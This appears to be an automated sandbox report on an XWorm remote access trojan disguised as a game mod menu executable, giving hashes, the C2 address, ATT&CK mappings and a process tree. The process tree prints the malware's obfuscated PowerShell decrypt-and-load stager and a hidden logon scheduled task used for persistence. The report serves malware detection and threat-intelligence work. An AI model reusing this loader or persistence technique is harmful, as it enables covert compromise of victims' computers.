xworm | 6d09d43c755d5081924748104ac487afadaf68add75d85feb2a256de032a5e2c

max time kernel
92s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
14-05-2024 11:22

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General

Target

kiddionsmodmenu.exe
Size

386KB
MD5

88e737816cc5f3e3809152c5f9dad5be
SHA1

56dedf42285c74795f714dbac7782a5d0e695a97
SHA256

6d09d43c755d5081924748104ac487afadaf68add75d85feb2a256de032a5e2c
SHA512

8d29b5606f91b953263738f03188a56a4c981a6213b53a830bd1e3975ff3d10274704df2dda957fa0b73cd8841947d6e850c6046338b8ebe9666ca895ce0eebd
SSDEEP

12288:hFPdfNMz0ECh63X3u+DnSmMk1B+8kxkpTD:hddFMz0EH3X39DnL3PHkxgn

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

94.156.8.167:2020

Mutex

8sPZSP21r8KwS1LM

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral3/memory/2784-77-0x0000000007120000-0x000000000712E000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
1	2784	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2436	powershell.exe
2464	powershell.exe
2784	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	kiddionsmodmenu.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2436	powershell.exe
2436	powershell.exe
2464	powershell.exe
2464	powershell.exe
2784	powershell.exe
2784	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2436	powershell.exe
Token: SeDebugPrivilege	2464	powershell.exe
Token: SeIncreaseQuotaPrivilege	2464	powershell.exe
Token: SeSecurityPrivilege	2464	powershell.exe
Token: SeTakeOwnershipPrivilege	2464	powershell.exe
Token: SeLoadDriverPrivilege	2464	powershell.exe
Token: SeSystemProfilePrivilege	2464	powershell.exe
Token: SeSystemtimePrivilege	2464	powershell.exe
Token: SeProfSingleProcessPrivilege	2464	powershell.exe
Token: SeIncBasePriorityPrivilege	2464	powershell.exe
Token: SeCreatePagefilePrivilege	2464	powershell.exe
Token: SeBackupPrivilege	2464	powershell.exe
Token: SeRestorePrivilege	2464	powershell.exe
Token: SeShutdownPrivilege	2464	powershell.exe
Token: SeDebugPrivilege	2464	powershell.exe
Token: SeSystemEnvironmentPrivilege	2464	powershell.exe
Token: SeRemoteShutdownPrivilege	2464	powershell.exe
Token: SeUndockPrivilege	2464	powershell.exe
Token: SeManageVolumePrivilege	2464	powershell.exe
Token: 33	2464	powershell.exe
Token: 34	2464	powershell.exe
Token: 35	2464	powershell.exe
Token: 36	2464	powershell.exe
Token: SeIncreaseQuotaPrivilege	2464	powershell.exe
Token: SeSecurityPrivilege	2464	powershell.exe
Token: SeTakeOwnershipPrivilege	2464	powershell.exe
Token: SeLoadDriverPrivilege	2464	powershell.exe
Token: SeSystemProfilePrivilege	2464	powershell.exe
Token: SeSystemtimePrivilege	2464	powershell.exe
Token: SeProfSingleProcessPrivilege	2464	powershell.exe
Token: SeIncBasePriorityPrivilege	2464	powershell.exe
Token: SeCreatePagefilePrivilege	2464	powershell.exe
Token: SeBackupPrivilege	2464	powershell.exe
Token: SeRestorePrivilege	2464	powershell.exe
Token: SeShutdownPrivilege	2464	powershell.exe
Token: SeDebugPrivilege	2464	powershell.exe
Token: SeSystemEnvironmentPrivilege	2464	powershell.exe
Token: SeRemoteShutdownPrivilege	2464	powershell.exe
Token: SeUndockPrivilege	2464	powershell.exe
Token: SeManageVolumePrivilege	2464	powershell.exe
Token: 33	2464	powershell.exe
Token: 34	2464	powershell.exe
Token: 35	2464	powershell.exe
Token: 36	2464	powershell.exe
Token: SeIncreaseQuotaPrivilege	2464	powershell.exe
Token: SeSecurityPrivilege	2464	powershell.exe
Token: SeTakeOwnershipPrivilege	2464	powershell.exe
Token: SeLoadDriverPrivilege	2464	powershell.exe
Token: SeSystemProfilePrivilege	2464	powershell.exe
Token: SeSystemtimePrivilege	2464	powershell.exe
Token: SeProfSingleProcessPrivilege	2464	powershell.exe
Token: SeIncBasePriorityPrivilege	2464	powershell.exe
Token: SeCreatePagefilePrivilege	2464	powershell.exe
Token: SeBackupPrivilege	2464	powershell.exe
Token: SeRestorePrivilege	2464	powershell.exe
Token: SeShutdownPrivilege	2464	powershell.exe
Token: SeDebugPrivilege	2464	powershell.exe
Token: SeSystemEnvironmentPrivilege	2464	powershell.exe
Token: SeRemoteShutdownPrivilege	2464	powershell.exe
Token: SeUndockPrivilege	2464	powershell.exe
Token: SeManageVolumePrivilege	2464	powershell.exe
Token: 33	2464	powershell.exe
Token: 34	2464	powershell.exe
Token: 35	2464	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 436 wrote to memory of 2288	436	kiddionsmodmenu.exe	81
PID 436 wrote to memory of 2288	436	kiddionsmodmenu.exe	81
PID 436 wrote to memory of 2288	436	kiddionsmodmenu.exe	81
PID 2288 wrote to memory of 1952	2288	cmd.exe	84
PID 2288 wrote to memory of 1952	2288	cmd.exe	84
PID 2288 wrote to memory of 1952	2288	cmd.exe	84
PID 2288 wrote to memory of 2436	2288	cmd.exe	85
PID 2288 wrote to memory of 2436	2288	cmd.exe	85
PID 2288 wrote to memory of 2436	2288	cmd.exe	85
PID 2436 wrote to memory of 2464	2436	powershell.exe	86
PID 2436 wrote to memory of 2464	2436	powershell.exe	86
PID 2436 wrote to memory of 2464	2436	powershell.exe	86
PID 2436 wrote to memory of 1844	2436	powershell.exe	89
PID 2436 wrote to memory of 1844	2436	powershell.exe	89
PID 2436 wrote to memory of 1844	2436	powershell.exe	89
PID 1844 wrote to memory of 4388	1844	WScript.exe	90
PID 1844 wrote to memory of 4388	1844	WScript.exe	90
PID 1844 wrote to memory of 4388	1844	WScript.exe	90
PID 4388 wrote to memory of 3484	4388	cmd.exe	92
PID 4388 wrote to memory of 3484	4388	cmd.exe	92
PID 4388 wrote to memory of 3484	4388	cmd.exe	92
PID 4388 wrote to memory of 2784	4388	cmd.exe	93
PID 4388 wrote to memory of 2784	4388	cmd.exe	93
PID 4388 wrote to memory of 2784	4388	cmd.exe	93

C:\Users\Admin\AppData\Local\Temp\kiddionsmodmenu.exe
"C:\Users\Admin\AppData\Local\Temp\kiddionsmodmenu.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:436
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7zS4805.tmp\XClient_Dealed.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2288
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j9v/MRsvo8rPIZTuYpVL9r5+b1tKh4/IvXdLJbSprpc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S2gRLww5OmjzwLPcS3ad8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rcwOy=New-Object System.IO.MemoryStream(,$param_var); $TisVE=New-Object System.IO.MemoryStream; $XDooL=New-Object System.IO.Compression.GZipStream($rcwOy, [IO.Compression.CompressionMode]::Decompress); $XDooL.CopyTo($TisVE); $XDooL.Dispose(); $rcwOy.Dispose(); $TisVE.Dispose(); $TisVE.ToArray();}function execute_function($param_var,$param2_var){ $TXMac=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KbKqR=$TXMac.EntryPoint; $KbKqR.Invoke($null, $param2_var);}$IXbeQ = 'C:\Users\Admin\AppData\Local\Temp\7zS4805.tmp\XClient_Dealed.bat';$host.UI.RawUI.WindowTitle = $IXbeQ;$Ytldu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IXbeQ).Split([Environment]::NewLine);foreach ($jWeCV in $Ytldu) { if ($jWeCV.StartsWith('PpiliAyQziuRKPrYAOkn')) { $YHaeW=$jWeCV.Substring(20); break; }}$payloads_var=[string[]]$YHaeW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:1952
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2436
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_527_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_527.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2464
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_527.vbs"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:1844
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_527.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4388
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j9v/MRsvo8rPIZTuYpVL9r5+b1tKh4/IvXdLJbSprpc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S2gRLww5OmjzwLPcS3ad8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rcwOy=New-Object System.IO.MemoryStream(,$param_var); $TisVE=New-Object System.IO.MemoryStream; $XDooL=New-Object System.IO.Compression.GZipStream($rcwOy, [IO.Compression.CompressionMode]::Decompress); $XDooL.CopyTo($TisVE); $XDooL.Dispose(); $rcwOy.Dispose(); $TisVE.Dispose(); $TisVE.ToArray();}function execute_function($param_var,$param2_var){ $TXMac=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KbKqR=$TXMac.EntryPoint; $KbKqR.Invoke($null, $param2_var);}$IXbeQ = 'C:\Users\Admin\AppData\Roaming\Windows_Log_527.bat';$host.UI.RawUI.WindowTitle = $IXbeQ;$Ytldu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IXbeQ).Split([Environment]::NewLine);foreach ($jWeCV in $Ytldu) { if ($jWeCV.StartsWith('PpiliAyQziuRKPrYAOkn')) { $YHaeW=$jWeCV.Substring(20); break; }}$payloads_var=[string[]]$YHaeW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:3484
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2784

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
9751fcb3d8dc82d33d50eebe53abe314

SHA1
7a680212700a5d9f3ca67c81e0e243834387c20c

SHA256
ad2e3139aa438f799c4a876ca3e64af772b8a5786149925a08389723e42394d7

SHA512
54907cc18684ff892b737496183ca60c788d8f5d76365586954f269dbd50ac1b9cd48c7c50bd6ca02009e6020fd77a8282c9a7ad6b824a20585c505bd7e13709

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
20KB

MD5
88650e71330b2c96bf96bb3824518a5f

SHA1
483c42ab8ba949f4e0ce24a3b67924057e1eb604

SHA256
505e52f13f29dc0925e5d9e96337bcf97e122e27edfaf9d65bbc641561b6090b

SHA512
9b42dab83e3ea8a8b1703172104009a391be1732770f117f13ee8b8101ac338c625770336ee62dad101d9577c1806b300fd884f9e20c4b6b6c1541bd3a6c2369

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS4805.tmp\XClient_Dealed.bat

Filesize
152KB

MD5
0b426e8571f8d3e437b7a42e9b8fd808

SHA1
986edba4c39be9edb552284dac555e2e95f68a4a

SHA256
9c1a4e3a1c90d013a9465ab585ad7a9cfc378ebdbe77fc1548cb81c791e6914e

SHA512
e2efb8ba96b4c11b6167f085d5545e7e4971850e3c57f76957b8a0b0e1896537d935d123de93c1ebfd3efab34139e9bf902911ba54f20ddffad21edeeb16b021

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ozbaiych.o15.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Windows_Log_527.vbs

Filesize
115B

MD5
64933a2c063ae74a23ce73c5493747a6

SHA1
250abef2479eafc1f266e1f632b8f42dd556fd39

SHA256
14bd01125c837d9a0efa5a2a864eed27a1369d8c37dfda430e17f87ac0a7f6b7

SHA512
58b43cc1e41ac3b399404b7375545e832e0d1645c36e8aea9c0b1b22ea0becdd52c5531368c364fb676cf597b26ff93bb50888e0271d43609539ad771b3d4009

Download Submit
memory/2436-28-0x0000000007BC0000-0x0000000007BC8000-memory.dmp

Filesize
32KB

Download
memory/2436-30-0x0000000008D30000-0x00000000092D4000-memory.dmp

Filesize
5.6MB

Download
memory/2436-11-0x00000000061A0000-0x0000000006206000-memory.dmp

Filesize
408KB

Download
memory/2436-9-0x00000000059B0000-0x00000000059D2000-memory.dmp

Filesize
136KB

Download
memory/2436-21-0x0000000006210000-0x0000000006564000-memory.dmp

Filesize
3.3MB

Download
memory/2436-22-0x0000000006700000-0x000000000671E000-memory.dmp

Filesize
120KB

Download
memory/2436-23-0x00000000067B0000-0x00000000067FC000-memory.dmp

Filesize
304KB

Download
memory/2436-24-0x0000000006C70000-0x0000000006CB4000-memory.dmp

Filesize
272KB

Download
memory/2436-25-0x0000000007A00000-0x0000000007A76000-memory.dmp

Filesize
472KB

Download
memory/2436-26-0x0000000008100000-0x000000000877A000-memory.dmp

Filesize
6.5MB

Download
memory/2436-27-0x0000000007AA0000-0x0000000007ABA000-memory.dmp

Filesize
104KB

Download
memory/2436-8-0x0000000005A10000-0x0000000006038000-memory.dmp

Filesize
6.2MB

Download
memory/2436-29-0x0000000007BE0000-0x0000000007BFE000-memory.dmp

Filesize
120KB

Download
memory/2436-10-0x0000000006130000-0x0000000006196000-memory.dmp

Filesize
408KB

Download
memory/2436-76-0x00000000738C0000-0x0000000074070000-memory.dmp

Filesize
7.7MB

Download
memory/2436-5-0x00000000738CE000-0x00000000738CF000-memory.dmp

Filesize
4KB

Download
memory/2436-6-0x0000000005270000-0x00000000052A6000-memory.dmp

Filesize
216KB

Download
memory/2436-7-0x00000000738C0000-0x0000000074070000-memory.dmp

Filesize
7.7MB

Download
memory/2464-54-0x0000000007AA0000-0x0000000007AAA000-memory.dmp

Filesize
40KB

Download
memory/2464-55-0x0000000007CB0000-0x0000000007D46000-memory.dmp

Filesize
600KB

Download
memory/2464-56-0x0000000007C30000-0x0000000007C41000-memory.dmp

Filesize
68KB

Download
memory/2464-53-0x0000000007900000-0x00000000079A3000-memory.dmp

Filesize
652KB

Download
memory/2464-52-0x00000000078D0000-0x00000000078EE000-memory.dmp

Filesize
120KB

Download
memory/2464-42-0x0000000070150000-0x000000007019C000-memory.dmp

Filesize
304KB

Download
memory/2464-41-0x0000000007890000-0x00000000078C2000-memory.dmp

Filesize
200KB

Download
memory/2784-77-0x0000000007120000-0x000000000712E000-memory.dmp

Filesize
56KB

Download
memory/2784-78-0x00000000071D0000-0x000000000726C000-memory.dmp

Filesize
624KB

Download
memory/2784-80-0x0000000008360000-0x00000000083F2000-memory.dmp

Filesize
584KB

Download